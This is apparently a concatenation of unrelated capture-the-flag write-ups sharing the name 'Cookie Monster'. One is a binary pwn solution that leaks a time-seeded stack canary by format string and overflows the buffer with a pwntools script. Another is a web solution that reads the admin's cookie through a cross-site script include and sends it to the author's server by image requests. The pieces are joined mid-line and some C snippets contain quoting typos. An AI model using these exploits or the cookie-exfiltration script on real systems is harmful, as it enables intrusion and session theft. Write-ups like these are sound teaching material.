# Cookie Monster

## Description

> Hungry?  
>  
> nc ctf.umbccd.io 4200

Attached is the binary file.

## Solution

Let's reverse the binary with [Ghidra](https://ghidra-sre.org/).

The `main` function prints a cookie monster, then calls the function
`conversation`, which we will exploit.

```c  
void conversation(void)  
{  
time_t tVar1;  
char buf [5];  
char name [8];  
uint local_cookie;  
  
tVar1 = time((time_t *)0x0);  
srand((uint)tVar1);  
saved_cookie = rand();  
local_cookie = saved_cookie;  
puts("\nOh hello there, what\'s your name?");  
fgets(name,8,stdin);  
printf("Hello, ");  
printf(name);  
puts("\nWould you like a cookie?");  
gets(buf);  
check_cookie((ulong)local_cookie);  
return;  
}  
```

The function initialises the pseudo randomness with `time`, then creates a
random value and saves it in `local_cookie`. It acts as a canary: at the end
of the function, a check is performed in `check_cookie`, to ensure the value
of the local variable (on the stack) has not been changed.

After creating the cookie, we may enter 7 characters (one is used for `\n`),
which will be printed with `printf(name)`. This is a format string
vulnerability, and therefore we can leak arbitrary data on the stack. Due to
the size limitation however, we may only leak one address...

Then the `gets` function allow for a buffer overflow. As we analyse the
binary, we see a function `flag`, which displays the flag.

The exploit is therefore the following: we need to retrieve the value of the
cookie on the stack, using the format string vulnerability, then overflow the
buffer and replace the return address by the address of `flag`, and we need to
conserve the value of `local_cookie`.

This looks quite straightforward, except that PIE and ASLR are activated!
Therefore the address of `flag` changes between executions. We may use the
format string vulnerability, but we can only leak one value at a time...

Lucky for us, the cookie is generated using poor randomness! It just uses the
current time, and therefore if we can synchronize with the server, we may
compute the exact same values.

The exploit is therefore the following:  
\- use the format string vulnerability to leak the time of the server  
\- run the program again  
\- use the format string vulnerability to leak the return address  
\- compute the address of flag, being the return address plus a constant
offset  
\- compute locally the cookie, knowing the server's time  
\- overflow the buffer, by replacing the cookie with its computed value
(hopefully nothing changes) and replacing the return address with the computed
`flag` address.

Let's look at each step one by one.

### Synchronize with server

The idea is the following: we connect to the server, at the same time we
launch our own C program which prints the local time. Then we use the format
string vulnerability to display the cookie, and then we perform a search on
the server's time to find which time could yield to the chosen random number.

This gives us the time difference between local machine and remote server.

First, let's find the cookie value on the stack. Using `gdb` to debug the
program locally, we see that the `local_cookie` variable is located at
`-0x4(rbp)`. Then we exploit the format string vulnerability to see the values
on the stack, by inputing `%{}$p`, where we may choose `{}` until we get the
cookie value.

![leak_the_stack](../images/cookie_stack.png)

In the picture above, we input `%9$p`, which is a format string which will
display the 9th value on the stack. This is the red value displayed, and when
we compare it to the cookie stored on the stack, it matches. So we've found
its position on the stack.

Now we can synchronize ourself with the server. This simple C program will
just print the local time:

```c  
#include <stdio.h>  
#include <time.h>

int main() {  
printf("%ld\n", time(NULL));  
return 0;  
}  
```

We compile it with:

```bash  
gcc -o time time.c  
```

Then we use this simple Python script to retrieve all necessary information:

```python  
from pwn import *  
import os

sh = remote("ctf.umbccd.io", 4200)

os.system("./time")

print(sh.recvuntil("name?").decode())  
sh.sendline("%9$p")  
text = sh.recvuntil("cookie?").decode()  
print(text)  
```

This prints the local time and the cookie. Then we use the following C program
to find the offset. As `time` is in seconds, we make the assumption that the
time difference is lower than 200s.

```c  
#include <stdio.h>  
#include <stdlib.h>  
#include <time.h>

#define COOKIE {cookie_value}  
#define LOCAL_TIME {local_time_value}

int main() {  
for(time_t t = LOCAL_TIME - 200; t < LOCAL_TIME + 200; ++t) {  
srand(t);  
if(rand() == COOKIE) {  
printf("%ld"\n, t - LOCAL_TIME);  
break;  
}  
}  
return 0;  
}  
```

We compile it, execute it, and find the time difference between the server and
our local computer.

### Find address of flag

Because of PIE and ASLR, functions will not have the same address between
different executions. Addresses will have the form `addr = random_value +
constant_offset`. Therefore, we can read using format string vulnerability the
original return address, and then deduce by adding a constant offset the
address of flag. As we know the cookie is the 9th element on the stack, we
deduce the return address is the 11th when exploiting the format string
vulnerability, and therefore inputing `%11$p` will leak the original return
address. Then we can compute the offset:

![Flag offset](../images/cookie_addr_flag.png)

In red is the original return address, and in green the address of `flag` for
this run. Therefore the offset is `1b5 - 34f = -19a`.

### Complete exploit

This script performs the exploit:

```python  
from pwn import *

sh = remote("ctf.umbccd.io", 4200)

cookie = int(os.popen("./rand").read())

print(sh.recvuntil("name?").decode())  
sh.sendline("%11$p")  
text = sh.recvuntil("cookie?").decode()  
print(text)  
original_ret = text.split("\n")[1][7:]  
original_ret = int(original_ret, 16)

print(hex(original_ret))  
print(hex(cookie))

flag = original_ret - 0x19a

payload = b'0'*13 + p32(cookie) + b'aaaabbbb' + p64(flag)  
sh.sendline(payload)  
sh.interactive()  
```

with `rand.c` the following file:

```c  
#include <stdio.h>  
#include <stdlib.h>  
#include <time.h>

#define TIME_OFFSET {time_offset}

int main() {  
srand(time(NULL) + TIME_OFFSET);  
printf("%d"\n, rand());  
return 0;  
}  
```

![cookie](../images/cookie.png)

Flag: `DawgCTF{oM_n0m_NOm_I_li3k_c0oOoki3s}`

Original writeup (https://github.com/apoirrier/CTFs-
writeups/blob/master/Dawg2020/Pwn/CookieMonster.md).[writeUp](https://srinivas11789.github.io/2019/03/pragyan-ctf-2019/#cookie-
monster)

Original writeup (https://srinivas11789.github.io/2019/03/pragyan-
ctf-2019/#cookie-monster).# ▼▼▼Cookie Monstor(Web:170pts、solved 18/1374=1.3%)▼▼▼

This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)

```  
Cookie MonsterWeb1708  
My friend sent me this monster of a website - maybe you can figure out what
it's doing? I heard the admin here is slightly more cooperative than the other
one, though not by much.

Author: lamchcl  
```

\---

## 【source code】

```  
const bodyParser = require('body-parser')  
const cookieParser = require('cookie-parser');  
const express = require('express')  
const puppeteer = require('puppeteer')  
const crypto = require('crypto')  
const fs = require('fs')

const admin_id =
"admin_"+crypto.randomBytes(32).toString('base64').split("+").join("_").split("/").join("$")  
let flag = ""  
fs.readFile('flag.txt', 'utf8', function(err, data) {  
if (err) throw err;  
flag = data  
});  
const dom = "cookiemonster.2019.chall.actf.co"  
let user_num = 0  
const thecookie = {  
name: 'id',  
value: admin_id,  
domain: dom,  
};

async function visit (url) {  
try{  
const browser = await puppeteer.launch({  
args: ['--no-sandbox']  
})  
var page = await browser.newPage()  
await page.setCookie(thecookie)  
await page.setCookie({name: "user_num", value: "0", domain: dom})  
await page.goto(url)  
await page.close()  
await browser.close()  
}catch(e){}  
}

const app = express()

app.use(cookieParser())  
app.use(express.json());  
app.use(express.urlencoded({ extended: true }));

app.use('/style.css', express.static('style.css'));

app.use((req, res, next) => {  
var cookie = req.cookies?req.cookies.id:undefined  
if(cookie === undefined){  
cookie =
"user_"+crypto.randomBytes(32).toString('base64').split("+").join("_").split("/").join("$")  
res.cookie('id',cookie,{maxAge: 1000 * 60 * 10, httpOnly: true, domain: dom})  
req.cookies.id=cookie  
user_num+=1  
res.cookie('user_num',user_num.toString(),{maxAge: 1000 * 60 * 10, httpOnly:
true, domain: dom})  
req.cookies.user_num=user_num.toString();  
}  
if(cookie === admin_id){  
res.locals.flag = true;  
}else{  
res.locals.flag = false;  
}  
next()  
})

app.post('/complain', (req, res) => {  
visit(req.body.url);  
res.send("<link rel='stylesheet' type='text/css' href='style.css'>okay")  
})

app.get('/complain', (req, res) => {  
res.send("<link rel='stylesheet' type='text/css' href='style.css'><form
method='post'>

give me a url describing the problem and i will probably check it:

<input name='url'>

<input type='submit'>

</form>")  
})

app.get('/cookies', (req, res) => {  
res.end(Object.values(req.cookies).join(" "))  
})

app.get('/getflag', (req, res) => {  
res.send("<link rel='stylesheet' type='text/css' href='style.css'>flag:
"+(res.locals.flag?flag:"currently unavailable"))  
})

app.get('/', (req, res) => {  
res.send("<link rel='stylesheet' type='text/css' href='style.css'>look this
site is under construction if you have any complaints send them here\n")  
})

app.use((err, req, res, next) => {  
res.status(500).send('error')  
})

app.listen(3000)  
```

\---

## 【Understanding functions】

```  
GET / HTTP/1.1  
Host: cookiemonster.2019.chall.actf.co  
```

↓

```  
HTTP/1.1 200 OK  
Content-Length: 191  
Content-Type: text/html; charset=utf-8  
Date: Thu, 25 Apr 2019 00:03:26 GMT  
Etag: W/"bf-uUw2ZNG/iGHTfl8XyF4W4YghCro"  
Server: Caddy  
Server: nginx/1.14.1  
Set-Cookie: id=user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4%3D; Max-
Age=600; Domain=cookiemonster.2019.chall.actf.co; Path=/; Expires=Thu, 25 Apr
2019 00:13:26 GMT; HttpOnly  
Set-Cookie: user_num=15189; Max-Age=600;
Domain=cookiemonster.2019.chall.actf.co; Path=/; Expires=Thu, 25 Apr 2019
00:13:26 GMT; HttpOnly  
X-Powered-By: Express  
Connection: close

<link rel='stylesheet' type='text/css' href='style.css'>look this site is
under construction if you have any complaints send them here

```

↓

1.Cookie Setting `id` and `user_num`

2.There are hints ``

\---

```  
GET /complain HTTP/1.1  
Host: cookiemonster.2019.chall.actf.co  
```

↓

```  
<link rel='stylesheet' type='text/css' href='style.css'><form method='post'>

give me a url describing the problem and i will probably check it:

<input name='url'>

<input type='submit'>

</form>  
```

↓

3.URL send function.

\---

```  
POST /complain HTTP/1.1  
Host: cookiemonster.2019.chall.actf.co  
Content-Type: application/x-www-form-urlencoded

url=http://my_server/  
```

↓

```  
<link rel='stylesheet' type='text/css' href='style.css'>okay  
```

↓

4\. I confirmed that **HeadlessChrome access my_server**.

\---

```  
GET /cookies HTTP/1.1  
Host: cookiemonster.2019.chall.actf.co  
Connection: close  
Cookie: id=user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4%3D; user_num=15189  
```

↓

```  
HTTP/1.1 200 OK  
Content-Length: 55  
Date: Thu, 25 Apr 2019 00:11:23 GMT  
Server: Caddy  
Server: nginx/1.14.1  
X-Powered-By: Express  
Content-Type: text/plain; charset=utf-8  
Connection: close

user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4= 15189  
```

↓

5\. Conetnt-type is `text/plain`, and **a list of cookie values** is displayed

\---

```  
GET /getflag HTTP/1.1  
Host: cookiemonster.2019.chall.actf.co  
```

↓

```  
<link rel='stylesheet' type='text/css' href='style.css'>flag: currently
unavailable  
```

6\. Location of **flag**

\---

## 【Goal】

The goal is to **let admin access /getflag** and send data to my server.

\---

## 【Additional investigation】

### 1. Behavior of /cookies

```  
GET /cookies HTTP/1.1  
Host: cookiemonster.2019.chall.actf.co  
Cookie: id=<script>alert(1)</script>; user_num=15189;test=ttttttttttttttt  
```

↓

```  
HTTP/1.1 200 OK  
Content-Length: 47  
Date: Thu, 25 Apr 2019 00:14:36 GMT  
Server: Caddy  
Server: nginx/1.14.1  
X-Powered-By: Express  
Content-Type: text/html; charset=utf-8

<script>alert(1)</script> 15189 ttttttttttttttt  
```

↓

```  
Content-Type: text/html; charset=utf-8

<script>alert(1)</script> 15189 ttttttttttttttt  
```

↓

Cookie is vulnerable to **XSS**

\---

```  
GET /cookies HTTP/1.1  
Host: cookiemonster.2019.chall.actf.co  
Cookie: id=user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4%3D;
user_num=15189<script>alert(1)</script>;test=<script>alert(2)</script>

```

↓

```  
HTTP/1.1 200 OK  
Content-Length: 106  
Date: Thu, 25 Apr 2019 00:23:03 GMT  
Server: Caddy  
Server: nginx/1.14.1  
X-Powered-By: Express  
Content-Type: text/plain; charset=utf-8

user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4=
15189<script>alert(1)</script> <script>alert(2)</script>  
```

↓

It seems to become Content-Type: **text/html** when html is included in the
**top of the responce body**.

\---

Then try sending a cookie with **a numeric name**.

↓

```  
GET /cookies HTTP/1.1  
Host: cookiemonster.2019.chall.actf.co  
Cookie: id=user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4%3D;
user_num=15189;1=<script>alert(2)</script>  
```

↓

```  
HTTP/1.1 200 OK  
Content-Length: 81  
Date: Thu, 25 Apr 2019 00:23:36 GMT  
Server: Caddy  
Server: nginx/1.14.1  
X-Powered-By: Express  
Content-Type: text/html; charset=utf-8

<script>alert(2)</script> user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4=
15189  
```

↓

It was confirmed that when the cookie name is made a number and html is
inserted, it is reflected at the top of the response and becomes
**text/html**.

It seems that Cookie Monstor gives Cookie and XSS **using DomValidater's
XSS**.

However, this behavior was not used as a result...

\---

## 【Consider an attack scenario】

### Method 1. Cookie Monstor

Perhaps this method is an assumed solution.

But I did not solve this way

\---

### Method 2. Cookie reading by JSONP

I solved this way.

Below is the exploit procedure

\---

## 【exploit】

GET `/cookies` response is **normal syntax as javascript.**

```  
user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4= 15189  
```

↓

I thought it would be possible to load data like JSONP.  
And get the parameter list in javascript in `/cookies`.  
  
\---

I prepared the following script on my server(https://my_server/) and made
admin access

↓

```  
<script src="https://cookiemonster.2019.chall.actf.co/cookies"></script>  
<script>  
test=11;

a=(function(){  
var propsOrig = [];  
var propsGlobal = {};  
var win = window.open();  
for(var i in win){  
propsOrig.push(i);  
}  
win.close();  
for(var i in window){  
if(!propsOrig.includes(i)){  
propsGlobal[i] = window[i]  
}  
}  
return propsGlobal;  
})()  
for(var item in a) {  
(new Image).src="https://my_server/"+item;  
}  
</script>  
```

↓

The next three accesses came to my server.

```  
GET /item  
GET /admin_XOJhFdjDiqrD2ItHRceWqjDj7mMrB6cCrWgF1CakmgM  
GET /test  
```

↓

Get admin Cookie `admin_XOJhFdjDiqrD2ItHRceWqjDj7mMrB6cCrWgF1CakmgM=`

\---

I accessed `/getflag` with admin Cookie.

```  
GET /getflag HTTP/1.1  
Host: cookiemonster.2019.chall.actf.co  
Cookie: id=admin_XOJhFdjDiqrD2ItHRceWqjDj7mMrB6cCrWgF1CakmgM=;  
```

↓

<link rel='stylesheet' type='text/css' href='style.css'>flag:
actf{defund_is_the_real_cookie_monster}

↓

`actf{defund_is_the_real_cookie_monster}`

\---

This solution may be the unintended solution of the questioner.